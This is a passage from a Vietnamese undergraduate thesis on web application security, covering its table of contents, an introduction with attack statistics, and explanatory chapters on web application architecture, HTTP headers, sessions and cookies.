  • 4. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet MỤC LỤC GIỚI THIỆU……………………………………………………………………………… Tổ chức của luận văn……………………………………………………………………... PHẦN THỨ NHẤT: CƠ SỞ LÍ THUYẾT………………………………………………. Chương 1: Giới thệu Ứng dụng Web…………………………………………………….. I. KHÁI NIỆM ỨNG DỤNG WEB………………………………..…………………… II. MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB………..…………………... Chương 2: Các khái niệm, thuật ngữ liên quan ………………………………………….. I. HACKER……………………………………………………………………………… II. HTTP HEADER……………………………………………………………………... III. SESSION…………………………….……………………………………………… IV. COOKIE…………………………………………………………………………….. V. PROXY………………………………………………………………………………. Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Ứng dụng Web………………….. I. KIỂM SOÁT TRUY CẬP WEB……………………………………………………… I.1. Thâm nhập hệ thống qua cửa sau………………………………………………….. II. CHIẾM HỮU PHIÊN LÀM VIỆC…………………………………………………... II.1. Ấn định phiên làm việc…………………………………………………………… II.2. Đánh cắp phiên làm việc…………………………………………………………. III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP LỆ……….……………………………………………………………………………....... III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt………….... III.2. Tràn bộ đệm……………..………………………………………………………. III.3. Mã hóa URL…………………………………………………………………….. III.4. Kí tự Meta……………………………………………………………………….. III.5. Vượt qua đường dẫn…………………………………………………………….. III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân……………………………….. III.7. Thêm câu lệnh hệ thống………………….……………………………………... 7 9 11 12 13 16 18 19 19 21 22 25 26 27 27 27 27 27 27 28 28 28 28 29 29 29
  • 5. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III.8. Chèn câu truy vấn SQL…………………….…………………………………… III.9. Ngôn ngữ phía máy chủ………………................................................................ III.10. Kí tự rỗng….…………………………………………………………………... III.11. Thao tác trên tham số truyền…………………………………………………... IV. ĐỂ LỘ THÔNG TIN………………………………………………………………. V. TỪ CHỐI DỊCH VỤ………………….…………………………………………….. PHẦN THỨ HAI: CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB.. Chương 4: Thao tác trên tham số truyền………………………………………………… I. THAO TÁC TRÊN URL…………………………………………………………….. I.1. Khái niệm…………………………………………………………………………. I.2. Một số biện pháp khắc phục………………………………………………………. II. THAO TÁC TRÊN BIẾN ẨN FORM………………………………………………. II.1. Khái niệm………………………………………………………………………… II.2. Một số biện pháp khắc phục……………………………………………………... III. THAO TÁC TRÊN COOKIE……………………………………………………… III.1. Khái niệm ………………………………………………………………………. III.2. Một số biện pháp khắc phục…………………………………………………….. IV. THAO TÁC TRONG HTTP HEADER……………………………………………. IV.1. Khái niệm……………………………………………………………………….. IV.2. Một số biện pháp khắc phục…………………………………………………….. Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Side Scripting)……. I. KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)………………………... II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG…………………………... III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS………………………………... IV. TẤN CÔNG XSS BẰNG FLASH…………………………………………………. V. CÁCH PHÒNG CHỐNG…………………………………………………………… Chương 6: Chèn câu truy vấn SQL (SQL Injection)……………………………………. I. KHÁI NIỆM SQL INJECTION……………………………………………………... II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU………………………………………... 30 30 30 30 31 31 33 34 35 35 36 36 36 38 39 39 40 41 41 42 43 44 46 50 51 54 56 57 57
  • 6. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III. CÁC CÁCH TẤN CÔNG…………………………………………………………. III.1. Kĩ thuật tấn công SQL Injection………………………………………………... III.2. Tấn công dưa vào câu lệnh SELECT…………………………………………… III.3. Tấn công dưa vào câu lệnh HAVING…………………………………………... III.4. Tấn công dưa vào câu lệnh kết hợp UNION…………………………………… III.5. Tấn công dưa vào lệnh INSERT………………………………………………... III.6. Tấn công dưa vào STORED PROCEDURE…………………………………… III.7. Nâng cao………………………………………………………………………... III.7.1. Chuỗi kí tự không có dấu nháy đơn…………………………………………. III.7.2. Tấn công 2 tầng……………………………………………………………… III.7.3. Tránh sự kiểm soát…………………………………………………………... III.7.4. Dùng Extended Stored Procedure…………………………………………… III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server…... III.7.4.2. Dùng Extended Stored Procedure tự tạo…………………………………. III.7.4.3. Nhập tập tin văn bản vào bảng…………………………………………… IV. CÁCH PHÒNG CHỐNG………………………………………………………… IV.1. Kiểm tra dữ liệu……………………………………………………………….. IV.2. Khoá chặt SQL Server (SQL Server Lockdown)……………………………... Chương 7: Chiếm hữu phiên làm việc (Session Management)………………………… I. TỔNG QUAN VỀ SESSION ID…………………………………………………….. II. ẤN ĐỊNH PHIÊN LÀM VIỆC……………………………………………………... II.1. Tấn công Session ID trên tham số URL………………………………………… II.2. Tấn công Session ID trong biến ẩn form………………………………………... II.3. Tấn công Session ID trong cookie………………………………………………. II.4. Cách phòng chống………………………………………………………………. III. ĐÁNH CẮP PHIÊN LÀM VIỆC………………………………………………….. III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID)………………… III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID)………………………... III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc……………………... 58 58 60 62 62 69 70 70 70 71 74 75 75 76 77 77 78 81 83 84 85 88 89 89 91 92 93 93 94
  • 7. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III.4. Cách phòng chống………………………………………………………………. III.5. Sự khác biệt giữa đánh cắp phiên làm việc (session hijacking) và ấn định phiên làm việc (session fixation)……………………………………………………………... Chương 8: Tràn bộ đệm (Buffer Overflow)…………………………………………….. I. KHÁI NIỆM…………………………………………………………………………. II. SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ…………………………………………………. II.1. Stack……………………………………………………………………………... II.2. Push và Pop……………………………………………………………………… II.3. Cách làm việc của hàm………………………………………………………….. II.4. Shell code………………………………………………………………………... III. MỘT SỐ CÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG DỤNG WEB………………. IV. CÁC CÁCH PHÒNG CHỐNG……………………………………………………. Chương 9: Từ chối dịch vụ (DoS)………………………………………………………. I. KHÁI NIỆM………………………………………………………………………….. II. NHỮNG KHẢ NĂNG BỊ TẤN CÔNG BẰNG DOS………………………………. III. CÁC KĨ THUẬT TẤN CÔNG…………………………………………………….. III.1. Khái niệm về Tcp bắt tay ba chiều……………………………………………… III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyền thống……………….. III.3. Tấn công vào băng thông……………………………………………………….. III.3.1. Kiểu tấn công thứ 1………………………………………………………….. III.3.2. Kiểu tấn công thứ 2………………………………………………………….. III.4. Kiểu tấn công vào tài nguyên hệ thống…………………………………………. IV. BIỆN PHÁP PHÒNG CHỐNG……………………………………………………. Chương 10: Một số kĩ thuật tấn công khác……………………………………………... I. MÃ HÓA URL (URL Encoding) …………………………………………………… I.1. Khái niệm………………………………………………………………………… I.2. Một số biện pháp phòng chống…………………………………………………... II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN………………………………………… II.1. Khái niệm……………………………………………………………………….. 94 94 97 98 99 100 101 102 104 106 106 108 109 109 110 110 112 113 113 113 117 117 119 120 120 121 121 121
  • 8. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet II.2. Một số biện pháp phòng chống………………………………………………….. III. TẤN CÔNG DỰA VÀO KÍ TỰ RỖNG…………………………………………... III.1. Khái niệm……………………………………………………………………….. III.2. Một số biện pháp phòng chống…………………………………………………. IV. NGÔN NGỮ PHÍA TRÌNH CHỦ…………………………………………………. IV.1. Khái niệm……………………………………………………………………….. IV.2. Cách tấn công…………………………………………………………………… IV.3. Biện pháp phòng chống………………………………………………………… Chương 11: Tổng kết quá trình tấn công của Hacker…………………………………... I. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU………………… II. KHẢO SÁT ỨNG DỤNG WEB…………………………………………………… III. TẤN CÔNG……………………………………………………………………….. Chương 12: Tổng kết các biện pháp phòng chống……………………………………... I. VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG…………………………………………… II. VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB………………………………. III. VỚI NGƯỜI SỬ DỤNG ỨNG DỤNG WEB……………………………………... PHẦN THỨ BA: CHƯƠNG TRÌNH WEB CHECKER……………………………….. Chương 13: Chương trình Web Checker……………………………………………….. I. ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER…………………………………….. I.1. Tổng quan………………………………………………………………………... I.2. Yêu cầu…………………………………………………………………………... I.2.1. Yêu cầu chức năng……………………………………………………………. I.2.1. Yêu cầu phi chức năng………………………………………………………... II. KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER……………………………….. II.1. Kiến trúc chương trình Web Checker…………………………………………... II.2. Giao tiếp giữa chương trình với trình chủ Web…………………………………. III. CÀI ĐẶT…………………………………………………………………………... III.1. Ngôn ngữ cài đặt……………………………………………………………….. III.2. Phương pháp cài đặt……………………………………………………………. 122 123 123 123 123 123 125 125 127 128 131 132 134 135 137 139 140 141 142 142 142 142 143 143 143 144 145 145 145
  • 9. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III.2.1. Sử dụng mô hình giao diện dạng Dialog……………………………………. III.2.2. Sử dụng ActiveX Control (Microsoft Web Browser)………………………. III.2.3. Sử dụng giao diện lập trình Window Socket 2……………………………… III.2.4. Một số lớp và hàm chính được cài đặt trong chương trình…………………. III.3. Mô tả chương trình và cách sử dụng…………………………………………… III.3.1. Màn hình chương trình……………………………………………………… III.3.2. Cách sử dụng………………………………………………………………... IV. ĐÁNH GIÁ CHƯƠNG TRÌNH…………………………………………………… IV.1. Những vấn đề đạt được……………………………………………………….. IV.2. Những vấn đề hạn chế………………………………………………………… KẾT LUẬN……………………………………………………………………………... I. NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC……………………………………………………. II. HƯỚNG PHÁT TRIỂN……………………………………………………………. PHỤ LỤC……………………………………………………………………………….. 145 145 146 146 151 151 152 153 153 153 155 156 157 158
  • 10. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet -Trang 7- GIỚI THIỆU Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa bỡn với người khác. Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet. Theo số liệu của CERT (Computer Emegency Response Team - "Đội cấp cứu máy tính"), số lượng các vụ tấn công trên Internet được thông báo cho tổ chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ. Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet, các máy tính của tất cả các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan nhà nước, các tổ chức quân sự, nhà băng... Một số vụ tấn công có quy mô khổng lồ (có tới 100.000 máy tính bị tấn công). Hơn nữa, những con số này chỉ là phần nổi của tảng băng. Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do, trong đó
  • 11. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet -Trang 8- có thể kể đến nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không hay biết những cuộc tấn công đang nhằm vào hệ thống của họ. Điển hình là cuộc tấn công vào phần mềm thương mại của IBM tháng 3/2001, hai hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất cứ ai với một trình duyệt Web cũng có thể lấy tài khoản của người dùng, thậm chí cả người quản trị. Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các phương pháp tấn công ngày càng tinh vi và có tổ chức. Mặt khác, việc quản trị các hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm về hệ thống mạng chắc chắn, do đó sự yếu kém trong quản lý sẽ tạo nhiều điều kiện cho các hacker khai thác. Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là đoán tên người sử dụng-mật khẩu (UserID/password) hoặc sử dụng một số lỗi của các chương trình và hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ, tuy nhiên các cuộc tấn công vào thời gian gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài trojan hay worm để kiểm soát hay điều khiển máy tính…vì thế, nhu cầu bảo vệ thông tin trên Internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin người dùng và bảo vệ hệ thống. Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sự an toàn của hệ thống mạng và hệ điều hành. Để bảo vệ cho hệ thống, phương pháp thường được chọn là sử dụng firewall. Tuy nhiên, theo tuyên bố của CSI/FBI : 78% nơi bị hại có sử dụng firewall và 59% thì bị tấn công thông qua Internet, cụ thể hơn là theo báo cáo của CSI/FBI Computer Crime và Security Survey thì tổng số thiệt hại do những ứng dụng Web bị tấn công từ năm 1997 đến năm 2000 là 626 triệu đôla Mỹ.
  • 12. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet -Trang 9- Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những nhà lập trình Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu tố tốc độ…) nên dẫn đến nhiều khuyết điểm mới phát sinh. Sự tấn công không nằm trong khuôn khổ vài kĩ thuật đã phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng. Luận văn được thực hịên với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật trong các ứng dụng web (cùng với chương trình minh họa) để qua đó đề xuất các phương án sửa chữa. Song song đó, luận văn còn thực hiện một chương trình “Tự động phát hiện lỗ hổng trên ứng dụng Web” giúp ích cho những nhà lập trình Web ít kinh nghiệm tránh những sai sót trong quá trình tạo các ứng dụng. Tổ chức của luận văn Luận văn gồm 13 chương chia thành 3 phần: Phần thứ nhất: CƠ SỞ LÍ THUYẾT Phần này gồm có 3 chương: + Chương 1 : Giới thiệu về ứng dụng Web + Chương 2 : Một số khái niệm, thuật ngữ liên quan. + Chương 3: Sơ lược các kĩ thuật tấn công ứng dụng Web Phần thứ hai:CÁC KĨ THUẬT TẤN CÔNG VÀ BIỆN PHÁP PHÒNG CHỐNG Phần này gồm có 9 chương từ chương 4 đến chương 12 trong đó 7 chương đầu bàn luận về các kĩ thuật tấn công, cuối mỗi chương là biện pháp phòng chống cho từng kĩ thuật. Chương 11 nói về quá trình tấn công của hacker và đến chương 12 là nội dung các biện pháp phòng chống chung nhất.
  • 13. Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet -Trang 10- Phần thứ ba : CHƯƠNG TRÌNH “WEB CHECKER” Là gồm chương cuối trình bày, giải thích về chương trình Kết thúc luận văn là phần kết luận, tóm lược lại những vấn đề đã trình bày và một số hướng phát triển trong tương lai và danh mục các tài liệu tham khảo.
  • 14. Khoa CNTT Phần I: Cơ sở lý thuyết -Trang 11- PHẦN THỨ NHẤT CƠ SỞ LÍ THUYẾT
  • 15. Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web -Trang 12- Chương 1 GIỚI THIỆU ỨNG DỤNG WEB Nội dung: I. Khái niệm về ứng dụng Web II. Mô tả cách hoạt động của một ứng dụng Web
  • 16. Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web -Trang 13- CHƯƠNG 1: GIỚI THIỆU ỨNG DỤNG WEB Luận văn được thực hiện nhằm tìm hiểu về các kĩ thuật tấn công trang Web và đề ra cách phòng chống. Do đó, trong chương đầu tiên luận văn sẽ giới thiệu sơ lược một số khái niệm cơ bản và đây chính là nền tảng để xây dựng nội dung cho những phần sau. I. KHÁI NIỆM ỨNG DỤNG WEB Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác. Trình khách dành cho người sử dụng thường là một trình duyệt Web như Internet Explorer hay Netscape Navigator. Cũng có thể là một chương trình đóng vai trò đại lý người dùng hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động vào các trang Web. Các chương trình có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail… Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh. Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common Gateway Interface) được chạy trên các trình chủ Web và có thể kết nối vào các cơ sở dữ liệu đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường được viết bằng Java (hay các ngôn ngữ tương tự) và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu. Một ứng dụng web thường có kiến trúc gồm:
  • 17. Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web -Trang 14- Hình 1.I-1. Kiến trúc một ứng dụng Web • Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web. • Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, .NET , PHP hay ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic, Apache, IIS… • Lớp dữ liệu: thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng. Mô hình hóa hoạt động của một ứng dụng Web:
  • 18. Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web -Trang 15- Hình 1.I-2. Mô hình hoạt động của một ứng dụng Web Trong đó: • Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, Netscap Navigator • Trình chủ: Apache, IIS, …. • Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access…. Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường được sử dụng là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng, vì chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy xuất đến mạng kia hay không. Người ta thường dùng firewall vào mục đích: • Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài.
  • 19. Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web -Trang 16- • Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong. • Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập. Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy người sử dụng II.MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách. Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần: • Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer. • Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì. Theo mô hình ở hình 1.I-2, với firewall, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể
  • 20. Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web -Trang 17- lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không liên quan khác.
  • 21. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 18- Chương 2 CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN Nội dung: I. Hacker II. HTTP Header III. Phiên làm việc (Session) IV. Cookie V. Proxy
  • 22. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 19- CHƯƠNG 2: CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN I. HACKER Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng… Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra các kẽ hở cho hệ thống, nhưng hacker lại là những người am hiểu về hệ điều hành, hệ quản trị dữ liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức của mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng. Một số hacker chỉ dừng lại việc phát hiện và thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình, họ được xem như là WhiteHat (Hacker nón trắng). Một số hacker dựa vào những lỗ hổng thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bị xem như là BlackHat (Hacker nón đen). Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, luận văn sẽ sử dụng “hacker” thay cho “kẻ tấn công”. II.HTTP HEADER HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một số
  • 23. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 20- tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì chỉ đuợc dùng riêng trong từng loại. Ví dụ : • Header yêu cầu: GET /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept-Language: en-us Connection: Keep-Alive Host: localhost Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP (HTTP/1.1).. o Tiếp theo là các tham số. Chẳng hạn như: Accept-Language: Cho biết ngôn ngữ dùng trong trang web. Host: Cho biết địa chỉ của máy chủ. Referer: Cho biết địa chỉ của trang web tham chiếu tới. o Header của HTTP request sẽ kết thúc bằng một dòng trống. • Header trả lời: HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT
  • 24. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 21- Content-Length: 2291 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ; path=/ Cache-control: private <HTML> <BODY> ... o Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng (HTTP/1.1), mã trạng thái (200) và trạng thái (OK). o Tiếp theo là các tham số. o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân của HTTP response. Danh sách tham số của HTTP header được trình bày trong phụ lục A III. SESSION HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dùng khi họ xem trang web trên trình chủ. Để duy trì phiên làm việc thì sessionID thường được lưu vào :
  • 25. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 22- • Biến trên URL • Biến ẩn form • Cookie Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống. IV. COOKIE Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt của người dùng. Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu trữ đó hay không. Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo Messenger!...) mà người dùng không phải làm lại thao tác đăng nhập hay phải cung cấp lại các thông tin khác. Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta sẽ có 4 kiểu cookie là:
  • 26. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 23- • Persistent và Secure • Persistent và Non-Secure • Non-Persistent và Secure • Non-Persistent và Non-Secure Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape Navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một khoản thời gian xác định. Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web. Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL). Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. Thực chất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật. Các thành phần của một cookie gồm: Domain Flag Path Secure Expiration Name Value www.redhat. com FALSE / FALSE 1154029490 Apache 64.3.40.151.16 018996349247 480 • Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên là www.redhat.com)
  • 27. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 24- • Flag: mang giá trị TRUE/FALSE -Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không. • Path: Phạm vi các địa chỉ có thể truy xuất cookie. Ví dụ: Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá tri là “/” thì cookie sẽ được truy xuất bởi tất cả địa chỉ thuộc miền trang web tạo cookie. • Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không. • Expiration: thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng. • Name: Tên biến (trong trường hợp này là Apache) • Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền http://www.redhat.com. Ví dụ chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie: Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/"; domain="www.redhat.com"; path_spec; expires="2006-07-27 19:39:15Z"; version=0 Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:Program FilesNetscapeUsersUserNameCookies.txt
